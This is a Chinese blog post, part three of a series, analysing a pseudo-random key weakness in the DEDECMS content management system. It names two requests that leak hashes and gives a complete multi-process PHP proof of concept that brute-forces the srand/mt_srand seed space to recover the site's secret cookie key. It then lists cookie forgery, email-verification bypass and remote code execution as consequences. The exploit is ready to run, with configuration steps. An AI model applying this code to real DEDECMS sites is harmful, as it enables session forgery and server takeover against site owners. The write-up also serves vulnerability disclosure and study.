主页 > 网络知识 > DEDECMS伪随机漏洞分析 (三) 碰撞点

DEDECMS伪随机漏洞分析 (三) 碰撞点

第一篇:《DEDECMS伪随机漏洞分析 (一) PHP下随机函数的研究》

第二篇:《DEDECMS伪随机漏洞分析 (二) cookie算法与key随机强度分析》

根据第二篇,我们有信心去遍历root key的所有可能, 但是我们还需要一个碰撞点, 才能真正得到root key的值, 本篇找到了两个碰撞点, 并编写了简单的POC来获取root key.

二 、碰撞点

可能还存在其他碰撞点, 这儿仅找到两个: )

1.用户主页

1.1 限制条件(中)

要求开启会员功能

1.2 代码分析

 

图片1.png

 

1.3 获取方法

请求:(查看admin主页)

url+/member/index.php?uid=admin

响应:

admin

last_vid_ckMd5 的hash值

 

图片2.png

 

2. 自定义表单

2.1 限制条件(低)

网站管理员需要为网站定义表单.

下载了几套通过DEDECMS改造的模板, 都保留了该功能, 且大部分站点有自己的表单格式.或者说正常在使用的dedcms大部分都有表单: )

2.2 代码分析

 

图片3.png

图片4.png

 

2.3 获取方法

请求:(查看表单)

url+/plus/diy.php?diyid=1

响应:

dede_fieIds

dede_fieIdshash 这两个值

 

图片5.png

 

3. POC

1. 保存如下代码到dede_funcookie.php2. 修改里面的$cpu, $attack_method, $attack_param, $attack_hash3. 若是目标网站为php7: php7 dede_funcookie.php 若是目标网站为php5: php5 dede_funcookie.php,若是不明确可以两个都跑 ε=ε=ε=(~ ̄▽ ̄)~4. 在16核 CPU,8G内存下, 跑完整个程序需要 4444秒,建议不要同时跑两个, 注意自己的CPU负载情况

<?php$t1=microtime(true);echo "开始时间: $t1 ";//请填写下面的信息$cpu = 8; // cpu: CPU核数,$cpu对应到开启的进程的数量,不宜过高$attack_method = 2; // 碰撞类型: 如果是用户主页就是1, 自定义表单就是2$attack_param = "";  // 数据: 选择1填写uid, 选择2填写dede_fields$attack_hash = "";   // hash: 填写hash$max_ = 4294967296;$targets_ = [];$the_1 = (int)($max_ / $cpu);$the_2 = $max_ % $cpu;for ($i = 0; $i < $cpu; $i++){    array_push($targets_,[($i)*$the_1,($i+1)*$the_1]);}$chars='abcdefghigklmnopqrstuvwxwyABCDEFGHIGKLMNOPQRSTUVWXWY0123456789';$max = 61; // strlen($chars) - 1;$already_test = 0;for ($i = 0; $i < $cpu; $i++){    $pid = pcntl_fork();    if ($pid == -1) {        die("could not fork");    } elseif ($pid) {        ;        //echo $pid;        //echo "I'm the Parent $i ";    } else {        //var_dump($targets_[$i][0]);        the_poc($targets_[$i][0],$targets_[$i][1],$i);        exit;    }}function the_poc($start,$end,$id){    global $chars;    global $max;    global $attack_method;    global $attack_param;    global $attack_hash;    $the_whole = (int)(($end-$start)/1000000);    $i_do = 0;    for($y = $start; $y<= $end; $y++) {        if (($i_do%1000000) == 1){                echo "$id 已完成(x1000000): ";                echo (int)($i_do/1000000);                echo "/$the_whole ";        }        $i_do = $i_do + 1;        srand($y);        $length = rand(28,32);        mt_srand($y);        $rnd_cookieEncode='';        for($i = 0; $i < $length; $i++) {            $rnd_cookieEncode .= $chars[mt_rand(0, $max)];        }        if ($attack_method==1){            if (substr(md5($rnd_cookieEncode.$attack_param),0,16) == $attack_hash){                echo "here!!!! ";                echo $rnd_cookieEncode;                echo " ";                echo $y;                echo " ";                break;            }        }else{            if (md5($attack_param.$rnd_cookieEncode) == $attack_hash){                    echo "here!!!! ";                    echo $rnd_cookieEncode;                    echo " ";                    echo $y;                    echo " ";            }        }    }}// 等待子进程执行结束while (pcntl_waitpid(0, $status) != -1) {    $status = pcntl_wexitstatus($status);    $pid = posix_getpid();    echo "Child $status completed ";}$t2=microtime(true)-$t1; //获取程序1,结束的时间echo "总计用时: $t2 ";?> 四、危害

1. Cookie伪造

2. 通过邮箱认证

3. 前台RCE

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!